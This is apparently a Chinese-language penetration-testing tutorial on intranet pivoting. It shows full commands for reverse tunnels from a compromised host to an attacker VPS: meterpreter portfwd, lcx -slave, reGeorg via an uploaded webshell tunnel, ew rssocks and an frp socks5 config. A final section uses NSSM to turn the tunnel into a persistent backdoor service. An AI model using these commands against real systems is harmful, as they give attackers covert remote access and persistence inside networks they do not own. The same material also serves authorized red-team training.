内网渗透-代理篇
前言
最近参与内网渗透比较多,认知到自己在会话维持上过于依赖web服务,web服务一旦关闭,便失去了唯一的入口点。
本次以远程桌面连接来进行说明,介绍几种常用的连接方式。
本次目标主机ip为:172.16.86.153
msf反弹木马
使用条件:服务器通外网,拥有自己的公网ip
msf是我进行内网渗透中用的最多的工具,它内置了很多强大的功能,用起来相当方便。
msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。
portfwd add -l 5555 -p 3389 -r 172.16.86.153

转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。
rdesktop 127.1.1.0:8888

msf内置了socks模块,在session但基础上配置路由,调用即可使用,但是速度和稳定性都很差,不做详细介绍。
lcx.exe
使用条件:服务器通外网,拥有自己的公网ip
lcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。
通过大马上传lcx.exe,执行系统命令,其中1.1.1.1是vps的公网ip。
lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389

因为我公网vps使用的是linux的系统,lcx对应linux的工具为portmap 。
p1为监听的端口,p2为转发到的端口。
./portmap -m 2 -p1 9999 -p2 33889
成功监听到转发出的3389端口。

直接使用远程桌面服务连接1.1.1.1:33889

基于web服务的socks5隧道
基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
本次只介绍reGeorg的具体用法。
选择对应脚本的tunnel上传到服务器。

访问上传文件,显示如下表示成功。

在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打开Proxifier,更改为脚本指定的端口。

本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh)
本地电脑直接远程连接目标主机的内网ip。

冰蝎自带的socks代理原理相同,也是基于web服务的。

使用ew搭建socks5隧道
使用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的执行文件。

目标主机为windows系统,选择上传ew_for_Win.exe文件。
公网vps使用ew_for_linux64文件。
首先在公网vps上执行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000
-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。

然后在目标主机中执行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

socks5隧道建立成功,成功把自己的主机带进目标内网。
使用Proxifier,配置ip和连接端口。

连接远程桌面成功。

frp
传送门
使用条件:目标主机通外网,拥有自己的公网ip
首先需要在公网服务器搭建服务端,搭建方法参考:传送门
要注意的是,客户端和服务端的版本号要一致,否则无法正常使用。
对frpc.ini进行配置,为了保证搭建的隧道不对他人恶意利用,加入账户密码进行验证。
[socks5_proxy]
type = tcp
remote_port = 11000
plugin = socks5
plugin_user = xxx
plugin_passwd = xxx

上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径)

公网vps主机上运行frps。

配置Proxifier的ip和连接端口,输入设置的账户密码。

隧道建立成功,连接远程桌面。

对于多台目标主机同时搭建多条socks5隧道,需要更改frpc.ini中配置的名称和端口号,在重复的情况下会提示端口占用。

渗透结束后记得把frpc的进程杀死,不然会一直和frps建立连接。
tasklist
taskkill /pid 进程号 -t -f
类似的工具还有:sSocks,Termite等,不需要每种都掌握,有自己用的顺手的就行。
后门持久化
一般在网站服务的web服务关闭后,服务器重启后,大部门后门都会失效,这时需要用到系统服务封装工具。
以NSSM来进行示例,封装frpc为系统服务,建立持久的socks5隧道。
启动nssm图形化界面。
nssm install name
选择想要组册服务的exe应用。

设置服务的名字。直接点击install service,如下表示注册服务成功。

查看本地服务。

状态设置为启动,重启电脑进行测试,重启后frpc.exe自动运行,成功和frps连接。

删除服务。
nssm remove <servicename>
总结
本次列举了一些常用的工具,还有很多工具没有列举到,
功能原理都是大同小异,有那么几个用的顺手就好。